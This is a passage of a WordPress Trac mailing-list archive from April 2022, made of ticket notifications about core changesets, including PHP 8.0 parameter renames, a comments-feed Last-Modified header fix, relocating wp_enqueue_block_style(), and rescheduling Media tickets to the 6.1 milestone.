<https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 10:45:00 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 10:45:00 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.44554c044772f70c679b6a5d6160c18a@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53230" 53230]: {{{ #!CommitTicketReference repository="" revision="53230" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/upgrade.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$public` parameter to `$is_public` in `wp_install()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:34> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 11:04:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 11:04:37 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.7a7499d6cf0781ad5435adf8bbbebb5f@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53231" 53231]: {{{ #!CommitTicketReference repository="" revision="53231" Tests: Update the test for `wp_install()` signature. Follow-up to [53230]. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:35> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 11:17:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 11:17:20 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.fd00b4d02ce2dd7e2f1dbe1eb101a4ba@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53232" 53232]: {{{ #!CommitTicketReference repository="" revision="53232" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/install-helper.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$default` parameter to `$default_value` in `check_column()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:36> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 12:30:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 12:30:09 -0000 Subject: [wp-trac] [WordPress Trac] #47968: Feed (with comments) Last-Modified header only considers latest comment date In-Reply-To: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> References: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> Message-ID: <064.9645e77e38a9969edff1b005a11d57dd@wordpress.org> #47968: Feed (with comments) Last-Modified header only considers latest comment date -------------------------------------------------+------------------------- Reporter: xiven | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Feeds | Version: 5.2.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests commit | Focuses: assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch has-unit-tests => has-patch has-unit-tests commit assigned-for-commit Comment: Tests are passing, self assigning for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47968#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 12:30:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 12:30:16 -0000 Subject: [wp-trac] [WordPress Trac] #47968: Feed (with comments) Last-Modified header only considers latest comment date In-Reply-To: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> References: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> Message-ID: <064.a986a05d9afeb9f2836d8329ce1c3c78@wordpress.org> #47968: Feed (with comments) Last-Modified header only considers latest comment date -------------------------------------------------+------------------------- Reporter: xiven | Owner: audrasjb Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Feeds | Version: 5.2.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests commit | Focuses: assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * owner: (none) => audrasjb * status: new => assigned -- Ticket URL: <https://core.trac.wordpress.org/ticket/47968#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 12:46:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 12:46:17 -0000 Subject: [wp-trac] [WordPress Trac] #47968: Feed (with comments) Last-Modified header only considers latest comment date In-Reply-To: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> References: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> Message-ID: <064.3fca057c68faeb5d2831472d9a7c3cd9@wordpress.org> #47968: Feed (with comments) Last-Modified header only considers latest comment date -------------------------------------------------+------------------------- Reporter: xiven | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Feeds | Version: 5.2.2 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests commit | Focuses: assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53233" 53233]: {{{ #!CommitTicketReference repository="" revision="53233" Feeds: Use latest comment date for the `Last-Modified` header of comments feed. Previously, the `Last-Modified` header of comments feed was using the date/time of the last comment. This behavior was breaking caching and causing feed readers to believe there is no new content even when there might be new posts. This commit changes this behavior to use the newest date from both `get_lastcommentmodified()` and `get_lastpostmodified()` functions instead of only using the result from `get_lastcommentmodified()`. Props xiven, mauteri, costdev, audrasjb. Fixes #47968. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/47968#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 13:41:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 13:41:16 -0000 Subject: [wp-trac] [WordPress Trac] #55195: Calling `::parent()` on a child theme object where parent theme is missing `index.php` returns false in WP5.9 In-Reply-To: <050.b5d912731774c2eca5c548a70ab051d9@wordpress.org> References: <050.b5d912731774c2eca5c548a70ab051d9@wordpress.org> Message-ID: <065.e4f408713ab006fc68a881a7945b9fc6@wordpress.org> #55195: Calling `::parent()` on a child theme object where parent theme is missing `index.php` returns false in WP5.9 --------------------------+--------------------- Reporter: robdxw | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 5.9.4 Component: Themes | Version: 5.9 Severity: normal | Resolution: Keywords: needs-patch | Focuses: --------------------------+--------------------- Comment (by kunalkataria): @robdxw I tried to reproduce the bug but I was getting the version number in branch 5.9. But it wasn't showing fatal error. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55195#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 13:41:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 13:41:33 -0000 Subject: [wp-trac] [WordPress Trac] #55182: Reconsider wp_enqueue_block_style() location In-Reply-To: <058.aba74ace88ab1412b4a45d4209698a4e@wordpress.org> References: <058.aba74ace88ab1412b4a45d4209698a4e@wordpress.org> Message-ID: <073.9f20bfb89723bf7dcaf555e093c18c63@wordpress.org> #55182: Reconsider wp_enqueue_block_style() location --------------------------------------------------+----------------------- Reporter: SergeyBiryukov | Owner: audrasjb Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Editor | Version: 5.9.1 Severity: normal | Resolution: Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+----------------------- Changes (by audrasjb): * keywords: has-patch => has-patch commit assigned-for-commit * owner: (none) => audrasjb * status: new => assigned Comment: In the above PR I refreshed the patch against trunk. It looks good to go. Self assigning for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55182#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 13:51:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 13:51:36 -0000 Subject: [wp-trac] [WordPress Trac] #55148: In block themes, styles should load in the head In-Reply-To: <053.896b3bc1fdd732082ece19c0f5a8d7d3@wordpress.org> References: <053.896b3bc1fdd732082ece19c0f5a8d7d3@wordpress.org> Message-ID: <068.e646d4333a0a4a52ed29932bcd3c2ec6@wordpress.org> #55148: In block themes, styles should load in the head ---------------------------+----------------------- Reporter: oandregal | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 5.9.1 Component: Script Loader | Version: 5.9 Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: ---------------------------+----------------------- Comment (by audrasjb): In [changeset:"53234" 53234]: {{{ #!CommitTicketReference repository="" revision="53234" Editor: Move `wp_enqueue_block_style()` to `wp-includes/script- loader.php`, for better consistency. As a result of [52741] and [52743], `wp_enqueue_block_support_styles()` was moved to `wp-includes/script-loader.php`. However, `wp_enqueue_block_style()` was still defined in `wp-includes/blocks.php`. This changeset also moves `wp_enqueue_block_support_styles()` to `wp- includes/script-loader.php` for better consistency. Follow-up to [52741], [52743]. Props SergeyBiryukov, mukesh27, audrasjb. Fixes #55182. See #55148. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55148#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 13:51:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 13:51:36 -0000 Subject: [wp-trac] [WordPress Trac] #55182: Reconsider wp_enqueue_block_style() location In-Reply-To: <058.aba74ace88ab1412b4a45d4209698a4e@wordpress.org> References: <058.aba74ace88ab1412b4a45d4209698a4e@wordpress.org> Message-ID: <073.40c3beefbb7ad4dbc9786fe3071df18b@wordpress.org> #55182: Reconsider wp_enqueue_block_style() location --------------------------------------------------+----------------------- Reporter: SergeyBiryukov | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: 5.9.1 Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for-commit | Focuses: --------------------------------------------------+----------------------- Changes (by audrasjb): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53234" 53234]: {{{ #!CommitTicketReference repository="" revision="53234" Editor: Move `wp_enqueue_block_style()` to `wp-includes/script- loader.php`, for better consistency. As a result of [52741] and [52743], `wp_enqueue_block_support_styles()` was moved to `wp-includes/script-loader.php`. However, `wp_enqueue_block_style()` was still defined in `wp-includes/blocks.php`. This changeset also moves `wp_enqueue_block_support_styles()` to `wp- includes/script-loader.php` for better consistency. Follow-up to [52741], [52743]. Props SergeyBiryukov, mukesh27, audrasjb. Fixes #55182. See #55148. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55182#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 14:03:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 14:03:03 -0000 Subject: [wp-trac] [WordPress Trac] #47968: Feed (with comments) Last-Modified header only considers latest comment date In-Reply-To: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> References: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> Message-ID: <064.bbd642564d4a60f1cb5a26ce9075f1de@wordpress.org> #47968: Feed (with comments) Last-Modified header only considers latest comment date -------------------------------------------------+------------------------- Reporter: xiven | Owner: audrasjb Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Feeds | Version: 5.2.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests commit | Focuses: assigned-for-commit | -------------------------------------------------+------------------------- Changes (by SergeyBiryukov): * status: closed => reopened * resolution: fixed => Comment: There's a typo in the latest assertion: "...date of the most recent ''most''". -- Ticket URL: <https://core.trac.wordpress.org/ticket/47968#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 14:07:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 14:07:33 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.67624de726d45ba2094ac5c85d3d112d@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible --------------------------------------+----------------------- Reporter: pbearne | Owner: pbearne Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: 5.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+----------------------- Changes (by SergeyBiryukov): * Attachment "54257.3.diff" added. Use correct variable in the last data provider -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 14:08:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 14:08:09 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.4c0d04476009d19da1301f45608abac5@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53235" 53235]: {{{ #!CommitTicketReference repository="" revision="53235" Docs: Docs: Use third-person singular verbs for function descriptions in `wp-includes/blocks.php` and `wp-includes/script-loader.php`, per the documentation standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:79> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 14:15:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 14:15:21 -0000 Subject: [wp-trac] [WordPress Trac] #41445: post_parent can prevent media from embedding correctly In-Reply-To: <051.36e9b448a18da0e6248fb03458b3410b@wordpress.org> References: <051.36e9b448a18da0e6248fb03458b3410b@wordpress.org> Message-ID: <066.02ce3255b35b53483827dce42b59d7d3@wordpress.org> #41445: post_parent can prevent media from embedding correctly -------------------------------------------------+------------------------- Reporter: loboyle | Owner: | adamsilverstein Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: 4.9.4 Severity: normal | Resolution: Keywords: has-patch needs-testing dev- | Focuses: rest-api feedback needs-unit-tests has-testing-info | -------------------------------------------------+------------------------- Changes (by antpb): * milestone: 6.0 => 6.1 Comment: It was agreed in the recent Media component meeting that this ticket may need to move to 6.1 to allow enough time to solve and test. -- Ticket URL: <https://core.trac.wordpress.org/ticket/41445#comment:52> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 14:22:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 14:22:37 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.2ebff202dd1bda872d4d944363d02647@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53236" 53236]: {{{ #!CommitTicketReference repository="" revision="53236" Code Modernization: Rename parameters that use reserved keywords in bundled themes. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit: * Renames the `$class` parameter to `$css_class` in: * `twentysixteen_excerpt()` * `twentynineteen_post_classes()` * Renames the `$echo` parameter to `$display` in: * `twentythirteen_entry_date()` * `twentytwenty_generate_css()` * `twentytwenty_site_logo()` * `twentytwenty_site_description()` * `twenty_twenty_one_generate_css()` Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:37> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 14:30:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 14:30:54 -0000 Subject: [wp-trac] [WordPress Trac] #45021: Media: Gallery modal has wrong focus and image detail In-Reply-To: <052.41a0bdcba13a17344d9ce008599e4695@wordpress.org> References: <052.41a0bdcba13a17344d9ce008599e4695@wordpress.org> Message-ID: <067.9ad36f7b1d6edc315a744a2711d65d3e@wordpress.org> #45021: Media: Gallery modal has wrong focus and image detail -----------------------------------------+------------------------- Reporter: joyously | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-screenshots needs-patch | Focuses: javascript -----------------------------------------+------------------------- Changes (by antpb): * milestone: 6.0 => 6.1 Comment: Being close to the 6.0 milestone it may be a stretch to get this resolved and tested before the release. Moving this to 6.1 to allow more time. -- Ticket URL: <https://core.trac.wordpress.org/ticket/45021#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 14:34:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 14:34:41 -0000 Subject: [wp-trac] [WordPress Trac] #55591: Multiple Bundled Themes: update translator comments to note screen reader text In-Reply-To: <055.65f3e02a573e567851a0b748d589ee83@wordpress.org> References: <055.65f3e02a573e567851a0b748d589ee83@wordpress.org> Message-ID: <070.68a7769b72ba81d61b0f086cc75feb1d@wordpress.org> #55591: Multiple Bundled Themes: update translator comments to note screen reader text ------------------------------+--------------------- Reporter: sabernhardt | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: ------------------------------+--------------------- Changes (by SergeyBiryukov): * keywords: has-patch => has-patch commit * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55591#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 14:39:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 14:39:49 -0000 Subject: [wp-trac] [WordPress Trac] #49178: Upload image issue after deleting image from edit image page In-Reply-To: <051.761d227054cbef9089f27551b4d7487c@wordpress.org> References: <051.761d227054cbef9089f27551b4d7487c@wordpress.org> Message-ID: <066.ce83e142349f9a0413fac4a5d9ee0eb6@wordpress.org> #49178: Upload image issue after deleting image from edit image page -------------------------------------+------------------------ Reporter: rnitinb | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.1 Component: Media | Version: 5.3.2 Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: -------------------------------------+------------------------ Changes (by antpb): * milestone: 6.0 => 6.1 Comment: There is some complexity here that require this to wait one release. Moving to 6.1 so we have enough time to test and fix. -- Ticket URL: <https://core.trac.wordpress.org/ticket/49178#comment:24> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 14:44:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 14:44:09 -0000 Subject: [wp-trac] [WordPress Trac] #50866: Media Uploader Blows Up File Sizes In-Reply-To: <048.ae16c18d531a2f779a0632d2af589169@wordpress.org> References: <048.ae16c18d531a2f779a0632d2af589169@wordpress.org> Message-ID: <063.f4615eeca828adf2fc4190d87fecd373@wordpress.org> #50866: Media Uploader Blows Up File Sizes -------------------------------------+------------------------------------- Reporter: hvar | Owner: antpb Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: 5.4.2 Severity: major | Resolution: Keywords: has-patch has-unit- | Focuses: administration, tests dev-feedback needs-testing | performance has-testing-info | -------------------------------------+------------------------------------- Changes (by antpb): * owner: (none) => antpb * status: new => assigned -- Ticket URL: <https://core.trac.wordpress.org/ticket/50866#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 14:52:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 14:52:52 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2354088=3A_Uploading_m?= =?utf-8?q?edia_containing_Norwegian_letter_=C3=A5_does_not_automatically_?= =?utf-8?q?readjust_it_to_become_aa=2E?= In-Reply-To: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> References: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> Message-ID: <070.b0fb1c0819999bbfbd917ecf6e320473@wordpress.org> #54088: Uploading media containing Norwegian letter å does not automatically readjust it to become aa. ------------------------------------------+----------------------- Reporter: paaljoachim | Owner: antpb Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: ------------------------------------------+----------------------- Changes (by antpb): * owner: (none) => antpb * status: new => assigned -- Ticket URL: <https://core.trac.wordpress.org/ticket/54088#comment:24> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 14:55:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 14:55:51 -0000 Subject: [wp-trac] [WordPress Trac] #54091: Attachment details pane navigation not working after opening 81st (or greater) item and refreshing the browser In-Reply-To: <053.ddfa06a389371cc780f7dfd81450a8cb@wordpress.org> References: <053.ddfa06a389371cc780f7dfd81450a8cb@wordpress.org> Message-ID: <068.c97bb324cb50cb822b5b44050f501629@wordpress.org> #54091: Attachment details pane navigation not working after opening 81st (or greater) item and refreshing the browser --------------------------------------+----------------------------- Reporter: ppetrov2c | Owner: joedolson Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: 5.8 Severity: trivial | Resolution: Keywords: needs-patch dev-feedback | Focuses: ui, javascript --------------------------------------+----------------------------- Changes (by antpb): * milestone: 6.0 => 6.1 Comment: Considering the time remaining in milestone and the workload of folks that can bring this across the line, this should move to 6.1. Happy to move back if anyone is able to help out on it! :D -- Ticket URL: <https://core.trac.wordpress.org/ticket/54091#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 15:43:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 15:43:32 -0000 Subject: [wp-trac] [WordPress Trac] #45021: Media: Gallery modal has wrong focus and image detail In-Reply-To: <052.41a0bdcba13a17344d9ce008599e4695@wordpress.org> References: <052.41a0bdcba13a17344d9ce008599e4695@wordpress.org> Message-ID: <067.e3d2fdaee80ebea4cc9d489a51b7629e@wordpress.org> #45021: Media: Gallery modal has wrong focus and image detail -----------------------------------------+------------------------- Reporter: joyously | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-screenshots needs-patch | Focuses: javascript -----------------------------------------+------------------------- Comment (by joyously): > I took a close look at this, and in my testing I think there's some lack of clarity, but it isn't focus issues. A lot of the focus states were changed when the media library was adapted to use a standardized tab UI Since this was written 4 years ago, it was in the context of the classic editor. I retested with both classic and block editors, and the focus issues are gone, but the image issues remain: - inability to unselect images on Edit Gallery - showing previously selected image details on second entry to Edit Gallery - added images not selected when Cancel is chosen - previous selections remain on second entry to Add Media from classic editor -- Ticket URL: <https://core.trac.wordpress.org/ticket/45021#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:16:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:16:10 -0000 Subject: [wp-trac] [WordPress Trac] #38805: A hook is missing in class WP_List_Table In-Reply-To: <050.d9281b2c99d9ad25f25757b42c6fb423@wordpress.org> References: <050.d9281b2c99d9ad25f25757b42c6fb423@wordpress.org> Message-ID: <065.e793833adb8cde8bf44027d661f1dc45@wordpress.org> #38805: A hook is missing in class WP_List_Table ----------------------------+------------------------------ Reporter: madvic | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: 4.6.1 Severity: major | Resolution: Keywords: 2nd-opinion | Focuses: ----------------------------+------------------------------ Changes (by johnregan3): * Attachment "38805.diff" added. Initial patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/38805> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:35:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:35:19 -0000 Subject: [wp-trac] [WordPress Trac] #55395: Update Twemoji for 6.0 In-Reply-To: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> References: <051.0a151d8a79573dfce6475fdf6f6bf51f@wordpress.org> Message-ID: <066.ef6013544041beb1f3d37576edabaede@wordpress.org> #55395: Update Twemoji for 6.0 -------------------------------------------------+------------------------- Reporter: kraftbj | Owner: kraftbj Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Emoji | Version: Severity: normal | Resolution: fixed Keywords: commit needs-user-docs add-to- | Focuses: field-guide | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: commit needs-user-docs => commit needs-user-docs add-to-field- guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/55395#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:35:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:35:57 -0000 Subject: [wp-trac] [WordPress Trac] #54035: Update Jcrop to the latest version In-Reply-To: <058.77f0721436c76442699c4ef03e0313ad@wordpress.org> References: <058.77f0721436c76442699c4ef03e0313ad@wordpress.org> Message-ID: <073.eed12137e31bf6b31edd825e702293c0@wordpress.org> #54035: Update Jcrop to the latest version -------------------------------------------------+------------------------- Reporter: Hareesh Pillai | Owner: | davidbaumwald Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch commit | Focuses: assigned-for-commit add-to-field-guide | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: good-first-bug has-patch commit assigned-for-commit needs-dev- note => good-first-bug has-patch commit assigned-for-commit add-to- field-guide -- Ticket URL: <https://core.trac.wordpress.org/ticket/54035#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 16:36:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 16:36:20 -0000 Subject: [wp-trac] [WordPress Trac] #55016: Upgrade bundled jQuery Color In-Reply-To: 